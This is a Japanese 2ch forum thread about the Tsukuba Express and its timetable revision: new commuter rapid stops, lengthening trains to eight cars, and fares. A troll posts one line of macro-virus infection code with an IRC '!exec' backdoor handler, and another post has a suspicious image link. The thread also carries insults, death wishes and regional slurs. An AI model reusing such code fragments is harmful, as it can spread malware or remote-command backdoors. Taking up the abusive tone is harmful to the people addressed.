つくばエクスプレス125(TX-92)

★煽り耐性がない方を散見しますが、荒らしに反応する方もまた荒らしとなります。ご注意ください★
☆初心者・ヘビーユーザー問わず、ローカルルールの他にも車両・路線板のルールも一読しましょう☆

■ローカルルール
・ＴＸ沿線住民を装った地域比較中傷厨は全てｽﾙｰ。専ブラすっきり！
・放射能についての話題は、まちBBSや放射能板( http://raicho.2ch.net/radiation/ )で議論しましょう。
　TX沿線の放射能汚染に関する話題は可とします。そちらの方が有益かつ専門的な議論が可能です。
・過度の女性専用車両に関する"過度な"議論は荒れる原因となります。
　熱い想いは専用スレを探し、そちらでぶちまけてください。
・公式に計画されている東京駅以外への延伸に関する"過度な"議論は荒れる原因となりますので
　節度を持って議論してください。(現実味のない延伸話は荒れるだけなので原則禁止とします)

■スレ立てルール
・スレ立て
次スレは>950を踏んだ人がスレ立て宣言を行なった後に立ててください。
忍法帖レベル不足等で立たない時は代理を依頼してください。（重複防止）

・スレタイ
下記フォーマットを使用し、必ず開業後と通算番号の両方を書いてください（分裂防止）。
フォーマット→「つくばエクスプレスn(TX-m)」（nが通算のスレッド番号、mが開業後のスレッド番号）

・テンプレ
貼り付け前に、現行スレで提案されている案や、TXの最新情報がないか確認しましょう。
テンプレに対する意見は全て>>2へアンカーを張ってください。まとめやすくなります。

荒らしは運営に通報します

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.　　　　　　　　　　　　 ｜ スレ乱立が荒らし呼ぶ一番の起爆剤なのに気付かない夏厨>>1を
　　　　 , - ､_.'⌒ヽ. 　 ｜ ｒ‐┐ｒ‐､ｧｧ ｒ‐┐ｒ‐┐ ┌‐ｕ‐┐ー‐､　/1
　　 ., -　　　　 　 ﾉ 　 ｜ |　 | |　ヽ. . |　｜|　 |_ [　　_　　] ｀ｰ'.ノ　|
　　（　　､ｰ--j‐i' 　 　 ｜ |_.ノ｜..ノ　 |_ノ　|＿.ノ└‐リ__ﾉ　|￣　 .ﾉ @
　　 ( 　 /　Q Ql　　　 ｜ ._　　 ＿＿___　＿ｎ＿　￣ ｎ　　 ￣￣
　　 .__ゝて ＿_＞　 　 ｜ |.|　 └―, , ┘ﾆｺ lﾆﾆ, lﾆﾆ .ﾆﾆl
　 （　　 ( ＼ﾉﾉ　　　 ／　.|.|　 n　 //　　 ＾ｺ lﾆ＾　 （0 |
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　　　l 　 l|ヽ'ヽ'|| l 　 r'て＿
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はいはい、バルサンAAをつい最近知ったのはわかったから^^

1レス512バイト以内にしましょう

通快の六町停車は、すごいと思うが　乗車人員からすれば、妥当なところでしょうか。
南千住と浅草を通過させても、面白かったなぁ。

>>10
　六町の一日乗客数は１万人越えてるしね。

■ おおたか厨の荒らしレスにご注意！！

●おおたか厨【おおたかちゅう】
ひたすら柏市に関連する全てを誹謗中傷するレスで荒らしまくる。元から名無しで活動していたが、
おおたかの森SCの開業が具体的になると共に おおたかの森をマンセーしながら柏煽りを行う言動が増えたことから 『おおたか厨』と
呼ばれるようになる。

◎具体例

【「☆柏-Kashiwa-を論ずるスレ Part14☆」より引用】

253 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/04/29(水) 15:37:53 ID:A6euyFhqO
柏なんて茨城だろ

450 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/05/23(土) 14:33:52 ID:HyNqOFlcO
柏の女がブスばかりなのはガチだな
茨城はブスの産地と有名だからな
まあ地元の柏人もブスばかりだが

791 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/06/29(月) 01:43:54 ID:nSmeSvWGO
>>789
地価下落したのか
まあそれでも糞田舎の柏市よりは平均地価で圧勝だろうがな
茨城に隣接してる田舎地域だからな

TXが頑なに快速しか使わないのは何故？

快速→特急
区快→急行
通快→通急
普通→普通

じゃダメなん？

通勤快速微妙だよなぁ。詰まる区間で停車駅増やすのはいいけど、
研究学園とか柏の葉とか停めて、つくばからの所用時間が犠牲になるのは…
つくばからの速達性は死守して欲しかった。

浅草と南千住停めなきゃいいだけ

>>15
そこ通過したって朝のきつきつなダイヤじゃ普通に挟まれてどうにもなんないでしょ。

>>13
>TXが頑なに快速しか使わないのは何故？
無料の特急・急行、て言うのは外国人に説明しにくいので勘弁してほしい。
ので、現状がベストだな。

久しぶりにこのスレに来たけど、
ダイヤ改正で通勤快速できるんだね
六町に止まるのか
六町は区快は通過して通快は停車する駅になるんだな

序列としては快速、通快、区快、普通ということかな
一応、通快は快速の代わりのようだし

>1 乙

通勤快速の英語表記はどうなるんだろうか？

18時53分発の普通つくば行が新設されましたね。
この電車の守谷到着は19時33分です。
19時発の通勤快速の守谷着が、区間快速と小野時所要時間とした場合
１９時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。

18時53分発の普通つくば行が新設されましたね。
訂正
この電車の守谷到着は19時33分です。
19時発の通勤快速の守谷着が、区間快速と同じ所要時間とした場合
１９時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。

再訂正
17時53分発の普通つくば行が新設されましたね。
この電車の守谷到着は18時33分です。
18時発の通勤快速の守谷着が、区間快速と同じ所要時間とした場合
１８時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。

改正に合わせてポイント設置されんの？もっと先かと思ってた。

あぼーん

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

>>23
7分ならおおたかの森接続かな？

通勤時間帯は快速よりも速達性が劣る通勤快速になってしまうので、つくばのマンションを買った東京通勤組が涙目？

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>>28
>つくばのマンションを買った東京通勤組が涙目？
八潮以南は、平行ダイヤの全駅停車説が強かったので、ぎりぎりの妥協かな？

それよりも、研究学園のマンションは完売したのに・・
今頃とめても地所の担当はぷんぷん？

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今回の改正、研究学園が一番の勝ち組かな？

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ところでつくば発の最終は繰り下がらないのかな？
せめて守谷行きが八潮行きにでもなれば、南流山かおおたかで乗り換えて東京方面に行けるんだけど。

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>>49
＞今回の改正、研究学園が一番の勝ち組かな？

つまり、差をつけられた万博記念公園、みどりのが涙目？

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>>14
　今回のダイヤ改正の一番の目的はラッシュ時の増便。
　ただ、単純にそれやると、つくばで快速のスジと区快のスジが干渉するから
快速の所要時間を延ばす必要がある。
　その方便として停車駅を増やした通勤快速ってことでしょ。
　つくばからの速達性はちょっと落ちたけど、区快が２本増便になってるから、
つくば駅にたどりついてからの待ち時間を含めての秋葉原までの実質的な所要時間は
短縮されてるよ。

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>>13
たしかにつくばエクスプレスなのに急行じゃないのはおかしい。

快速→急行
区快→準急
通快→通急

こんな感じでもいいと思う。

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　　　　　レス番がとびとびになってる
　　　　　運営が対策に動き始めたのか？

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>>28
　朝ラッシュ時７本が９本に増えるんだから、喜んでるんじゃね？

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>>91
ラッシュ時９本になるってのは確か？

守谷駅での折り返し乗車客への中間改札実施をランダムに行うべき！
守谷駅に「一旦改札を出て…」のビラを掲示しているが、これに従う
客がいないことを知っててＴＸ側は無礼乗車を放置している

本件は数年前から問題になっているのに、何ら改善しないなんて、
３セクに許されない怠慢だな



マスコミにＰＲできるよう、キセル実態を対する毅然とした
対応が急務だな

守谷駅での折り返し乗車客への中間改札実施をスポットで良いから
必ず行うべき！

守谷駅に「一旦改札を出て、再入場を…」のビラを掲示しているが、
これに従う客がいないことを知っててＴＸ側は無礼乗車を放置！

本件は数年前から問題になっているのに、何ら改善しないなんて、
３セクに許されない怠慢だな

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>>91>>101
今回のプレスだと「朝のラッシュ時間帯」としか書かれておらず、ピーク1時間なのかどうかが分からないんだよね。

しかし、守谷以北に区快が2本増発、以南は区快が1本も増えないわけだから、
守谷始発の区間快速がつくば始発に変更されると推測できるね。おそらくピーク時だろう。
で、減速する快速の分で、守谷始発の普通を2本増発。ラッシュ前後に別途普通を1本増発。

代わりにつくば始発の普通が守谷始発に変更になるんじゃないかと思うんだけど、どうでしょう。
「種別変更をし」というくだりがあるので。

つまり、ラッシュピーク時守谷以北8本、八潮以北20本、八潮以南22本というのが自分の予想。

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秋葉原の新しいエレベーターは何人乗りになるの？

通勤快速なんか要らないから六町に区間快速止めろよ

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>>110で書いた時に気付かなかったけど、正確な時間出ているんだ。
確かにつくば駅7時18分発、7時35分発が増発されているね。どちらも最ピーク1時間。

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ザマーを上回るkittyがいるんだ

このスレ開くとノートンが警告するんだけど何で？

守谷駅での折り返し乗車客について「一旦改札を出て、再入場を…」
のビラを掲示しているだけで、これに従う客がいないことを知ってて
ＴＸ側は無礼乗車を放置中

真面目に所要区間の定期券や回数券を購入している者がバカを見ないで
済むよう、キセル乗車の摘発を厳しくやるべき

全員追い出していったんドア閉めればいいだけじゃん

>>150
柏方面〜守谷間の運賃をキセルしているのが問題なのだよ
上りホームに移動し始発に座って折り返す輩は、その前に
下りホームに到着した際、改札でキセルチェックすべき

>>150
　同じ車両で折り返すんじゃないから、それ、無意味。
　

>>147
　ただまあ、匿名掲示板の2chを荒らすくらいしかできない小心者でしょうから
http://6100.teacup.com/texp/bbs?
なんかを荒らす度胸無いでしょうな。

守谷駅の場合、そのまま折り返し乗車できる始発は、
朝夕のラッシュ時間帯には運転されず、ホーム間の
移動が必要なので、整列乗車に混乱はない
始発のある他の駅との共通の問題は「キセル乗車」

通勤快速含めた停車駅

種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●●●●●━━━━●━●━━●━━━━●
通快●●●●●━●●━●━●●━●━━━●●
区快●●●●●━━●●●━●●━●●●●●●
普通●●●●●●●●●●●●●●●●●●●●

六町が少し違和感があるな

守谷からの定期を持っていれば良いということですね?

>>156
>守谷からの定期を持っていれば良いということですね?
わざわざ一駅戻るなんているのかあ。暇そうだなぁ。
センパの人がおおたかまで、なら買い物とかで理解できるかな。

快速と区間快速なくして通勤快速にするのが理想

現実的停車駅

種別秋新浅南北青六八三流セお柏た守平み万研つ
通快●●●●●━●●━●━●●━●━━━●●
普通●●●●●●●●●●●●●●●●●●●●

現実的停車駅

種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●●━━●━━━━●━●━━●━━━━●
通快●●━━●━●●━●━●●━●━━━●●
区快　廃止
普通●●●●●●●●●●●●●●●●●●●●

現実的停車駅

種別秋新浅南北青六八三流セお柏た守平み万研つ
特急●━━━●━━━━━━●━━━━━━━●
快速　廃止
急行●●━━●━━●━●━●━━●━━━●●
通快　廃止
区快　廃止
普通●●●●●●●●●●●●●●●●●●●●

　 　秋新浅南北青六八三流セお柏.た守平み万研つ
特快●●━━●━━━━●━●━━●━━━━●
快速●●●●●━━●━●━●●━●━━━●●
区快●●━━●━●━●●●●●●●●●●●●
普通●●●●●●●●●●●●●●●●●●●●

区快がやはり中途半端だなー。
既存快速と区快やめて、B快と通勤快速と各停でいい気がするが…。
守谷、八潮、おおたかで緩急接続してくれればいい。
あと、柏の葉って、なんで通快とまるのかな？
そんなに利用客いたっけ？

追いつきすぎないように調整してるだけでは。
六町の人は乗りきれない通快なんかより八潮始発増えるほうがずっといいよね。

>>155
　六町より三郷中央の方が違和感ある。
　区快の停車駅を三郷中央から六町に編抗すりゃいいと思う。

>>163
　それなりにいる。
　っていうか、通勤快速設定の狙いは区間快速との所要時間差を少なくすることだと思う。
　それによってつくばの区間快速の増発が狙い。
　結局のところ、今回の改正で得するのが例によって茨城４駅特に研究学園なわけで。

>>164
　六町への配慮ならそれが一番だね。

改正の内容を見たけど、どうにも小手先な感じ。

結局、8連化しないことには、秋葉原口の混雑は解消しきれんだろ。
閑散時とのギャップが激しすぎて、簡単に踏み切れないとは思うが。

なして、30万／日超えているのにいつまでも八両化しないの？
金がないの？それともこれから減ると見ているの？

>>167
　８両化するには工事と車両増の両方やらないといけないから、時間がかかる
ってことじゃないの？
まあ、客にとっての利便性は増結より増発なわけで。
ＴＸはワンマン運転なだけに、増発してもそんなにコストがかからないっていう優位点があるな。
ラッシュ時が今度の改正で２２本なら、あと２本は増便余地がある。

＞それともこれから減ると見ているの？
　日本全体の人口がこれから減るんだから、大幅に増えるとは考えられないでしょ？

まあ、とりあえず、守谷以南の駅を８両対応にして、TX-1000だけ８両にすれば足りるんでないの？

平日朝の通勤快速は納得できる。
八潮〜北千住間がノロノロになるから青井と六町に停車させたほうがいいという意見もある。
でも、夜間の通勤快速は必要なのか？
現状の快速のままで十分だと思うが、開業時の夜間は快速が20分間隔、区間快速も20分間隔だったんだよね。

最初からﾎｰﾑ部分の基礎だけでも８両分作っておけば工事簡単だったのにね

理想的停車駅
種別秋新浅南北青六八三流セお━━守平み万研つ
快速●●●●●━━━━●━●━━●━━━━●
通快●●●●●━●●━●━●━━●━━━●●
区快●●●●●━━●●●━●━━●●●●●●
普通●●●●●●●●●●●●━━●●●●●●

守谷始発の通勤快速

前衛的停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●━━━●━━●●●●●●━━●━━━●
通快●●━━●●━━●●●●━━●●━━●●
区快●●●━●●●━━●●━━●●●━●●●
普通●●●●●●●●●●●●●●●●●●●●

>>171
＞でも、夜間の通勤快速は必要なのか？
　夕ラッシュ時快速直前の普通が八潮待避になっているのをおおたか待避に
変更できることでおおたかまでの有効本数を増やす効果は期待できる。

>>172
　これだけ乗客が増えるとは開業前は予想されてなかったでしょ？
　現在のように準備工事してあるだけでも十分だと思うけど。

次の増発はTX-1000を増備してかな。

トロピカル様の光臨は？

>>167
お役所的。。。目標は高いんだが。

なんかいまいちダイヤがしっくり来ない。
そもそも区間快速が微妙なんだよ。
あと待避駅の位置が微妙。ひとまず守谷駅の待避ポイント追加に期待かな。

>>172
>最初からﾎｰﾑ部分の基礎だけでも８両分作っておけば
いや基礎工事までは実施済みと、TX本には書いてありました。
メトロ南北線のように、ホーム床は完成済み・信号関係とホームドアの工事だけで
8両化対応ぐらいでも良かったですね。
でも開業前は、北総のように30年たっても目標の半分しか乗客いない、とかの予想
ばかりで、こんなに簡単に30万人とは想像した人は、とても少ないでしょう。
50人に一人ぐらいでは無いでしょうか？
私は15年間で28万人ぐらいを予想していたぐらいかな。

てかなんで他の会社は過剰設備で持て余してんのに、
ＴＸに限ってこうなの？って感じ…
8両と言わず10両の余裕があっても決して過剰ではなかった気が…

三セクとはいえ東京都内の山手線の駅が起点なんだからそれなりの乗降客数になるとは思うんだけどね
その辺考えても過剰に設備とか作っておけばよかったのにね

>>182
終点から山手線の駅まで60分切る鉄道なんてこれまで無かったろ？
しかも環状線を見方につけて既存の需要を吸い込んでる。

>>184
＞終点から山手線の駅まで60分切る鉄道なんてこれまで無かったろ？

いくらでもあるよね?
東横線、井之頭線、りんかい線、ゆりかもめ、東京モノレール、目黒線、池上線、日暮里舎人ライナー、…

>>182
１０両前提で土木工事済みらしいが。

今度のダイヤ改正って並行ダイヤに近づけただけの小手先対応じゃんか。
このペースでのんびりされると8両化される頃には、東西線並みの酷いラッシュになってるかもな。

朝の上り快速は廃止ですか？
ｲﾊﾞ人大変だなあ

>>187-188
代わりに区間快速が２本増便だから、
通勤快速が停車する研究学園が大勝利なのは言うまでもなく、
快速通過の他の３駅も勝利。
朝ラッシュ時が７本から９本になった効果でつくばも悪くはない。
朝ラッシュ時の快速は先につかえて徐行するんで
使えなかったからな。

朝ラッシュ時上り快速の最速タイムが47分。通勤快速は51-53分で走る。最後の1本のみ49分

多少足は遅くなるが5分程度ならその分早く家を出ればいいだけの話。

着席通勤のために早く来て並ぶ必要もなくなったろ

７本が９本になれば、つくばから立つ客はほとんどいなくなるかな？
今だと列車によってはつくばから座れないからなあ・・・

終電繰り下げおめ

つくば発の終電の時間は遅くなんないのかな・・・？

守谷か八潮行き普通でいいから、終電遅くしる。

終電は北千住まででいいから遅くして欲しい・・・。
それが駄目なら八潮でいいから・・・。
そうすればおおたかか南流山乗り換えれる。
今のつくば２３時１４分はちょっと早すぎるよ・・・。

基地外いなくなったかな？
多少時間の調整はするかもしれんけど、現状の守谷駅の時刻表が
0715 区快
0717 普通始発
となってるところに
0716 普通始発　を増発できるもんなのかな？

もう、区間快速は要らないね。
準快速を新設して、守谷〜つくばを各駅に停車でいいよ。

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溜まったら水遁依頼するからせいぜい頑張れ

>>196
守谷−取手周りで現行の23:47で、松戸までなら行けるよ。

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また71編成乗車中。そう言えば今日は土浦に72編成来てるはず。

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>>177
もう増備不可能でしょう。総合基地の増設が必要ですし、計画時点ではMaxで34本のはずでした。
日中も空気を運ばなくなってきたので、人件費的にも8両化が望ましいと思います。

>>186
建設誌によると「島式ホームの」土木部分は10両に対応しているとされています。
（ただし、両端の秋葉原、つくばは除く）

そういえば、建設誌（759ページ）など、一通りの資料を全ページスキャンした方がいます（！）
自分も奮発してサーバーの容量を大きくしたんで、Web上にストレージを作ることができました。
著作権的にそのままWeb上には上げられないので、会員制にして下記ページに公開しました。
http://tx-style.net/community/tx/

今のところ「建設誌」「つくばエク〜がやってくる」「つくばエク〜建設物語」の3本を上げています。
これでスレ住人が、一通りの資料にアクセスできるのではと思っています。
今後も追加次第、お知らせできればと思います。

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現行ダイヤ（上り）
http://www.mir.co.jp/timetable/weekday_up.html#tab=SECTION-0

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てす

死ね！市ねじゃなくて死ね！

六町と青井、なぜ差がついたか…

>>323
単純に他社線駅との距離じゃね？
メトロ利用客なら、青井に行かずに直接綾瀬行くだろうし。

では、六町と三郷中央、なぜ差がついたか…

言わずもがな、周辺人口だろ

守谷発普通が３本増便なのに、全体が20から22とはいかに？
八潮発普通を１本廃止でないと辻褄があわんな。
そういうことか。

通勤快速にしては時間が遅すぎじゃない？
8：25つくば発で通勤はないでしょ。

秋葉原で10時始業のうちだったら余裕で間に合うけどな。

つか中央線の通勤特快だって8:35高尾発まであるぞ。

１０：００始業の企業なんて腐るほどあるからな・・

フレックスタイムつかえばいいやん

>>327
ただ北千住ピーク時が22本という事だからな。
八潮始発がピーク前時間帯にスライドしたとも考えられる。
前も6時台八潮始発が無くなった時は
八潮始発を守谷始発に変更のアナウンスがあったからな

>>332
　どっちにしてもピーク時の八潮始発が１本減るわけで六町、青井の着席
チャンスが減るな。
　まあ現状で八潮発に青井で座れているかは知らないけど。

71Fが、さっき新御徒町→秋葉原へ出発していったから、
1943発の区快が71Fだと思われるが、
ここに居たのでは、肝心な座れるかどうかわからない。

運用って、日頃の観察力があれば、結構当たるものだ。

土浦からの陸送って今晩から4連チャンだっけ？

で、結局混雑率ってどれくらいなの?

荒しに流されちゃったけど、最近いくつかシート変わった車両あるよね？
背もたれがかなり盛り上がってるやつ

全線の所要時間
通快が49〜53分
区快が52〜56分
普通が57〜63分

ラッシュ時は時間が一段階下の種別と同程度まで延びるんだな

区快はラッシュ時には56分かけてチンタラ走るからね(北千住741着などは52分で走破)

・・・乗車人員の発表マダー?

通勤快速は、区間快速に守谷〜つくば間ノンストップ（研究学園は停車可）でよかったと思う。
そのほうがシンプルだったんじゃないか？
それとも、将来的には朝ラッシュ時は全列車普通になるとか・・・

乗車人員６月は、発表済み　六町は、乗車人員では、１１５００をキープし
通快停車は、当然の結果という事でしょうか。

研究学園の通勤快速停車は、開業当初の区快の「乗客を伸ばしたい駅に止める」
思想と同じだな
乗客は5,000人台/日だし、「茨城エゴ」と言われても反論できない

研究学園停車はそのうち廃止になる

>>333
7:56八潮始発、7:48発の区快が4番線出る頃には既に満席で立ってる人のほうが多い。
それでもつくば・守谷始発よりはスペースに余裕あるけど。

どうしても座りたいらしく、わざわざ乗り換えてる人もチラホラ見かける

六町はあと300ｍ北につくるべきだったよな。
みなみ花畑として。
そしたらもっと、利用客多かったのに。

荒し対策の為、忍法帖を鉄道路線・車両板に採用するか、投票中（8/1の24時まで）みたいだ。
鉄道路線・車両板　忍法帖意思確認投票スレ
http://kohada.2ch.net/test/read.cgi/vote/1330782787/226-

おはようございます。
都心まで通勤する人達は、
そろそろ会社に行く支度を終え、
家を出発する時間ですね。

>>338
　こないだ陸送した71と、今晩から陸送する72と、次の甲種予定の73がそう。
　座面は良くなったが、シートバックは変な盛り上がりのせいで腰の座りが悪くなった。
　腰痛持ちの漏れにはちょっと辛いかも。

>>343
　朝ラッシュの増発のためにじゃまな快速に追加で停車しなければならないって話になったら、
青井、六町と連続停車されるよりは研究学園停車の方が多数派である千葉区間から
都内への通勤客にとっては速達性が保たれるからまだマシってことじゃね？

早い話通勤ラッシュ時は上りの快速関係を全時間帯中止して全列車各駅停車でどんどんピストン運動すればいいんじゃないか？
逆に下りは快速増やして上りの列車不足を補えばよい。見たところ結構下り通勤も多いから停めるとこ停めてさ。

ところで通勤快速って英語読みはなんになんのかな？

朝下りでつくばまで通うけれど
区間快速は研究学園までが比較的混雑で
つくば到着時は結構空いているんだよね。
逆に快速に乗ると研究学園に止まらないからか敬遠され
区間快速よりもかなり空いている印象ですよ。

>>351
そんな極端でなく、ラッシュ時は
遠近分離で、６両編成のつくば区間快速と
８両編成の守谷普通だけ（おおたか接続）ってやり方が妥当。

>>349
今晩じゃなくて今朝から搬入されています。
今日は2672,2572,2472が到着して、今、2572が吊り上げ中。

>>333
ピーク時はあくまで北千住ベースだからな。
秋葉原着ベースで考えると10分くらい前でもいわゆるピーク時（7時半〜8時半）に到着する。

こいつ、毎日何が楽しいんだ？

運営さんＧＪ
すっきりしたね。

>>353
区快じゃ遠近分離にならないよ。
６両の区快に客が殺到するだけ。
やるならおおたか〜北千住無停車ぐらいじゃないと。

普通も速いTXなら、守谷以南全列車各停が、一番無難でしょう。
快速ものろのろ運転で大して所要時間変わらないし。

もう、所要時間がほとんど一緒なんだから
全部各駅化でいいよ

開業当時のあの爽快感は壊滅だ！

>>194-196
一応、現行の秋葉原行き最終の次の電車を八潮行きにしてみると、
つくば2330→おおたか2355→南流山000→八潮006
んで、八潮でその電車を乗り捨れば上り電車でウテシも車両基地に帰れる。だから八潮に滞泊施設を作らずとも最終の延長は可能。

>>360の３行目
上りじゃなくて下りだった。ｽﾏｿ

陸送、2:30に終了してた。

どうやらここが復活してるの知らない人多いみたいだ。
コイツは元はといえば雌車反対派(笑)だっけ。今日は京王スレで荒らしてた
http://toro.2ch.net/test/read.cgi/rail/1344006322/16-18

>>360
その考えだと、秋葉原を朝5時30分に発車する、
つくば行の運転士はどこから来るのだろうとなる。

田舎者の定義をご存知？

�@駅まで車で送り迎え
�A原付や軽自動車が多い
�B買い物は車で出かける

これだけで立派な田舎よ

>>365
それが疑問。八潮駅の設計図がないから何とも言えない。自動車で通勤しているのだろうか。

ageてるマルチは死ねばいいのに。携帯だから水遁効くかな？

ああ安価ミスッタ
>>364だ

ラッシュ時快速廃止
イバ人涙目
不動産の広告変えないの？

>>323
青井は五反野、北綾瀬、綾瀬とそんなに離れてないからな。
バスもあるし。
対して六町は東側が綾瀬川で分断されてるから北綾瀬に出るのが
不便で綾瀬に行くには環七を通過しなくてはいけないので
バスだと使い物にならないからだろう。
まあ青井でも「運賃高いからあんまり乗らないよ」という声に
反して利用されているようだ。

>>368
＞イバ人涙目
　本数増えるし、研究学園に通勤快速が停車するし、逆に狂喜乱舞かも。
　そもそも、ラッシュ時の快速なんぞ、元から遅かっただろ？

>>358
　おおたか以南なら、ラッシュ時は普通も区快も先発が先着だから区快に殺到とはならないんじゃないの？
　守谷ではあるかもしんないけど、普通なら席が空いてるうちは、そっちを選ぶ客もいるだろうし。
　柏の葉は問題になるほどいないし。

>>366
　そもそも、現行の八潮5:20初の秋葉原行きのｳﾃｼはどうやってるんだろ？
　なんか、頑として秋葉原発守谷行き最終のあとに八潮行きを設定しない謎の解明のヒントが
ありそうな気がするが。

>>372
もしかしたら、八潮には小規模ながら滞泊施設があったりして。

または駅前のビジネスホテルを間借り、とか？

>>373
　宿泊施設があるなら最終のｳﾃｼが残っても問題なさそうなもんだが。
　そういや、秋葉原行きの5:20発の他につくば行きの5:28発のｳﾃｼの問題もある。

>>368
>イバ人涙目
ラッシュ時に使えない普通を混ぜられるより、通勤快速+区快の本数が増えるので満足。
不動算屋さんは、昼間閑散時の所要時間で、大手町まで何分・新宿まで何分と書いてもok。
京王とか田都なんかどうするわけ？

始発駅から7駅目まで退避できないのが致命的欠陥だな
これじゃ団子しかないな
普通3〜４駅目にあるよね

>>371
守谷もめちゃ多いし、柏の葉も最近はかなり利用者多い

>>375
まあ、電車の乗継ぎを0分で出来る超能力者だからなwww

馬鹿がテンプレすら貼らずに次スレ建ててるんだけど、これ身代わりでok?
http://toro.2ch.net/test/read.cgi/rail/1344254005/l50

>>379
いいんじゃね？

>>377
　まあ、守谷も柏の葉も遠近分離の「遠」っていうことで。

>>376
　致命的ってほどでもないだろ？それを補うために、加減速のいい車両使ってるわけで。

こんなに不動産価格が暴落してるのに
なんでおおたかの森以北に住まなきゃならんのか・・

これからラッシュ時はますます減速するって言うのに

>>383
　不動産価格が下がる以上に収入が下がってるんだから仕方ないだろ？

毎日毎日スレ潰しをするお前らを
ｒ‐┐ｒ‐､ｧｧ ｒ‐┐ｒ‐┐ ┌‐ｕ‐┐ー‐､　/1
|　 | |　ヽ. . |　｜|　 |_ [　　_　　] ｀ｰ'.ノ　|
|_.ノ｜..ノ　 |_ノ　|＿.ノ└‐リ__ﾉ　|￣　 .ﾉ @
してます。
￣￣￣￣V￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 　 　 ∧＿∧
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∴∵∴∵∴∵∴∵（　　　　）命だけは助けてくれぇ…∴∵ ∧＿∧∴∵∴∵∴∵∴
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珍しくちょっと遅れたのは例のドアの持病？それとも、別の理由？

今度出来る通勤快速は何色になるの🎨❓
緑色かな?
あとおおたかの森を忘れていた。
JR常磐線には変化はあるの❔

ラッシュ方向が全停車化する研究学園、柏の葉、八潮の中では
柏の葉が北柏とたなかから少し奪うくらいじゃなかろうか。

>>387
快速扱いで赤じゃね？

トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
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一日に一度ここ見るの楽しみにしてるのに、これを見るとすごくやな気持ちになるよ。
一人のちょっとした悪ふざけなんだろうけど、どうして毎日こんな気持ちにならないといけないのか悲しくなるね。
小さい頃から開通するの待ち続けて、もうすぐと思ったら五年も延期されて、
一緒に乗ろうねって言ってたばあちゃんは乗れずに死んじゃってさ…
それだけＴＸには強い思いがあるのに、どうして楽しい会話を邪魔するのかね…
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　　　　　　　　　（　　　　）つまんねーんだよお前 　 ∧＿∧
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　　　　　　　　　|　　　　　ヽ　　　　　　　　　　 ＼　　 /　　　ヽ、
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おばあちゃん云々書いた本人だけど、毎日毎日ふざけて貼られてんの見んのうんざりだから、もう勘弁して。
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　　/　　　ヽ　お前頭大丈夫?＼| 　 （　　　　）　何言ってんだこいつ

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つ>>385

>>387-388
　今回の改正は快速の通勤快速化で停車駅が増えるよりは
区間快速と普通の本数が増える効果の方が大きいと思うよ。

まつりつくば臨時

http://www.mir.co.jp/company/release/2012/8258262.html

思ったのだが上りの通快ってさ、現状の快速でも相当混んでるけどさらに停車駅が増えるんだろ？
だとしたら六町で停めても乗れなくないか？
通快が八潮に到着した時点で隣の３番線の各停の椅子が空いてるなら多少の降車はあるのだろうけど

消費税増税で、運賃値上げするのでしょうか？

>>400
>消費税増税で、運賃値上げするのでしょうか？
5%アップは厳しいね。秋葉〜つくば＝1200-1210円。1210円にするかなぁ。
ちょっと、めんどくさいがPASMOなら大丈夫か。

消費税が上がれば景気は悪くなる。
景気が悪くなれば家賃が下がる。
家賃が下がれば、都心近くに住めるようになる。
都心近くに住めば、電車賃は安くなるでしょうか

給料が下がり家賃が下がる
通勤交通費は会社負担だからいいけど

非正規社員や家族を持ったら交通費は高負担だ
交通費は安いに越したことは無い

不動産価格が暴落してる今
よく考えて住まいを検討することだ

>>400-401
こんな感じじゃね？
160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150（現行）
170-210-250-300-350-400-450-500-550-600-650-700-750-800-850-900-950-1000-1050-1100-1150-1200（消費税１０％）

８％時の分を追加すると

160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150（現行）
160-210-250-290-330-380-410-460-510-570-620-670-720-770-820-870-930--980-1030-1080-1130-1180（消費税８％）
170-210-250-300-350-400-450-500-550-600-650-700-750-800-850-900-950-1000-1050-1100-1150-1200（消費税１０％）

>>404
こうじゃないの？
160-200-240-280-320-360-400-450-500-550-600-650-700-750-800-850-900--950-1000-1050-1100-1150(現行)
170-210-250-290-330-370-420-470-520-580-630-680-730-790-840-890-940-1000-1050-1100-1150-1200(10％)

>>403
＞不動産価格が暴落してる今

運賃を不動産価格に連動させて欲しい

守谷市の100坪の土地がなんと1000円！
http://www.fujinoestate.jp/baibai/2012/06/post-20.html

南流山と秋葉原のホーム延伸写真をまとめました
http://uproda.2ch-library.com/563559yIb/lib563559.gif

>>409
警告
相手にしないこと

>>409
乙
綺麗にまとめられててわかりやすいね

>>409,411
てめえらいい加減にしろよ

>>409
gifじゃねーかアホ
もっとない頭使えやカス

>>408
　建築不可の家庭菜園１００坪なら、買っておくかと思ったら


　・・・ミスプリントかorz

トロピカル様ノ御降臨ナリ！！
新宿駅西口ヨリ万世橋迄爆走スルナリ！
